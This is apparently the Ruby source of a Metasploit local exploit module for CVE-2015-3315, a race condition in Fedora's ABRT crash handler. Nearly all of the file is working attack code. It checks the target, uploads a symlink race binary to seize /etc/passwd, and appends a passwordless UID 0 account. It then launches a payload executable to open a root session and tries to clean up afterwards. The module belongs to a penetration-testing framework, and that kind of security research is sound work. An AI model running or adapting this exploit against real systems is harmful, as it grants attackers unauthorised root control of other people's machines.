243 lines
8.5 KiB
Ruby
243 lines
8.5 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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Rank = ExcellentRanking
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include Msf::Post::File
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include Msf::Exploit::EXE
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include Msf::Exploit::FileDropper
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'ABRT raceabrt Privilege Escalation',
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'Description' => %q{
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This module attempts to gain root privileges on Fedora systems with
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a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured
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as the crash handler.
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A race condition allows local users to change ownership of arbitrary
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files (CVE-2015-3315). This module uses a symlink attack on
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'/var/tmp/abrt/*/maps' to change the ownership of /etc/passwd,
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then adds a new user with UID=0 GID=0 to gain root privileges.
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Winning the race could take a few minutes.
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This module has been tested successfully on ABRT packaged version
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2.1.5-1.fc19 on Fedora Desktop 19 x86_64, 2.2.1-1.fc19 on Fedora Desktop
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19 x86_64 and 2.2.2-2.fc20 on Fedora Desktop 20 x86_64.
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Fedora 21 and Red Hat 7 systems are reportedly affected, but untested.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Tavis Ormandy', # Discovery and C exploit
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'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
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],
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'DisclosureDate' => 'Apr 14 2015',
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'Platform' => [ 'linux' ],
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'Arch' => [ ARCH_X86, ARCH_X64 ],
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'SessionTypes' => [ 'shell', 'meterpreter' ],
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'Targets' => [[ 'Auto', {} ]],
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'References' =>
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[
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[ 'CVE', '2015-3315' ],
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[ 'EDB', '36747' ],
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[ 'BID', '75117' ],
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[ 'URL', 'https://gist.github.com/taviso/fe359006836d6cd1091e' ],
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[ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/14/4' ],
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[ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/16/12' ],
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[ 'URL', 'https://github.com/abrt/abrt/commit/80408e9e24a1c10f85fd969e1853e0f192157f92' ],
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[ 'URL', 'https://access.redhat.com/security/cve/cve-2015-1862' ],
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[ 'URL', 'https://access.redhat.com/security/cve/cve-2015-3315' ],
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[ 'URL', 'https://access.redhat.com/articles/1415483' ],
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[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211223' ],
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[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211835' ],
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[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1218239' ]
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]
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))
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register_options(
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[
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OptInt.new('TIMEOUT', [ true, 'Race timeout (seconds)', '900' ]),
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OptString.new('USERNAME', [ false, 'Username of new UID=0 user (default: random)', '' ])
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])
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register_advanced_options [
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OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
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]
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end
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def base_dir
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datastore['WritableDir']
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end
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def timeout
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datastore['TIMEOUT']
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end
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def check
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if cmd_exec('lsattr /etc/passwd').include? 'i'
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vprint_error 'File /etc/passwd is immutable'
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return CheckCode::Safe
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end
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kernel_core_pattern = cmd_exec 'grep abrt-hook-ccpp /proc/sys/kernel/core_pattern'
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unless kernel_core_pattern.include? 'abrt-hook-ccpp'
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vprint_error 'System is NOT configured to use ABRT for crash reporting'
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return CheckCode::Safe
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end
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vprint_good 'System is configured to use ABRT for crash reporting'
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if cmd_exec('[ -d /var/spool/abrt ] && echo true').include? 'true'
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vprint_error "Directory '/var/spool/abrt' exists. System has been patched."
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return CheckCode::Safe
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end
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vprint_good 'System does not appear to have been patched'
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unless cmd_exec('[ -d /var/tmp/abrt ] && echo true').include? 'true'
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vprint_error "Directory '/var/tmp/abrt' does NOT exist"
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return CheckCode::Safe
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end
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vprint_good "Directory '/var/tmp/abrt' exists"
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if cmd_exec('systemctl status abrt-ccpp | grep Active').include? 'inactive'
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vprint_error 'abrt-ccp service NOT running'
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return CheckCode::Safe
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end
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vprint_good 'abrt-ccpp service is running'
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abrt_version = cmd_exec('yum list installed abrt | grep abrt').split(/\s+/)[1]
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unless abrt_version.blank?
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vprint_status "System is using ABRT package version #{abrt_version}"
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end
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CheckCode::Detected
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end
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def upload_and_chmodx(path, data)
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print_status "Writing '#{path}' (#{data.size} bytes) ..."
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rm_f path
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write_file path, data
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cmd_exec "chmod +x '#{path}'"
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register_file_for_cleanup path
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end
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def exploit
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if check != CheckCode::Detected
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fail_with Failure::NotVulnerable, 'Target is not vulnerable'
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end
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@chown_file = '/etc/passwd'
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if datastore['USERNAME'].blank?
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@username = rand_text_alpha rand(7..10)
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else
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@username = datastore['USERNAME']
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end
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# Upload Tavis Ormandy's raceabrt exploit:
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# - https://www.exploit-db.com/exploits/36747/
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# Cross-compiled with:
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# - i486-linux-musl-cc -static raceabrt.c
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path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2015-3315', 'raceabrt'
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fd = ::File.open path, 'rb'
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executable_data = fd.read fd.stat.size
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fd.close
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executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
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executable_path = "#{base_dir}/#{executable_name}"
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upload_and_chmodx executable_path, executable_data
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# Change working directory to base_dir
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cmd_exec "cd '#{base_dir}'"
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# Launch raceabrt executable
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print_status "Trying to own '#{@chown_file}' - This might take a few minutes (Timeout: #{timeout}s) ..."
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output = cmd_exec "#{executable_path} #{@chown_file}", nil, timeout
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output.each_line { |line| vprint_status line.chomp }
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# Check if we own /etc/passwd
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unless cmd_exec("[ -w #{@chown_file} ] && echo true").include? 'true'
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fail_with Failure::Unknown, "Failed to own '#{@chown_file}'"
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end
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print_good "Success! '#{@chown_file}' is writable"
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# Add new user with no password
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print_status "Adding #{@username} user to #{@chown_file} ..."
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cmd_exec "echo '#{@username}::0:0::/root:/bin/bash' >> #{@chown_file}"
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# Upload payload executable
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payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"
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upload_and_chmodx payload_path, generate_payload_exe
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# Execute payload executable
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vprint_status 'Executing payload...'
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cmd_exec "/bin/bash -c \"echo #{payload_path} | su - #{@username}&\""
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end
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def on_new_session(session)
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if session.type.to_s.eql? 'meterpreter'
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session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
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end
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# Reinstate /etc/passwd root ownership and remove new user
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root_owns_passwd = false
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new_user_removed = false
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if session.type.to_s.eql? 'meterpreter'
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# Reinstate /etc/passwd root ownership
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session.sys.process.execute '/bin/sh', "-c \"chown root:root #{@chown_file}\""
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# Remove new user
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session.sys.process.execute '/bin/sh', "-c \"sed -i 's/^#{@username}:.*$//g' #{@chown_file}\""
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# Wait for clean up
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Rex.sleep 5
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# Check root ownership
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passwd_stat = session.fs.file.stat(@chown_file).stathash
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if passwd_stat['st_uid'] == 0 && passwd_stat['st_gid'] == 0
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root_owns_passwd = true
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end
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# Check for new user in /etc/passwd
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passwd_contents = session.fs.file.open(@chown_file).read.to_s
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unless passwd_contents.include? "#{@username}:"
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new_user_removed = true
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end
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elsif session.type.to_s.eql? 'shell'
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# Reinstate /etc/passwd root ownership
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session.shell_command_token "chown root:root #{@chown_file}"
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# Remove new user
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session.shell_command_token "sed -i 's/^#{@username}:.*$//g' #{@chown_file}"
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# Check root ownership
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passwd_owner = session.shell_command_token "ls -l #{@chown_file}"
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if passwd_owner.to_s.include? 'root'
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root_owns_passwd = true
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end
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# Check for new user in /etc/passwd
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passwd_user = session.shell_command_token "grep '#{@username}:' #{@chown_file}"
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unless passwd_user.to_s.include? "#{@username}:"
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new_user_removed = true
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end
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end
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unless root_owns_passwd
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print_warning "Could not reinstate root ownership of #{@chown_file}"
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end
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unless new_user_removed
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print_warning "Could not remove user '#{@username}' from #{@chown_file}"
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end
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rescue => e
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print_error "Error during cleanup: #{e.message}"
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ensure
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super
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end
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end
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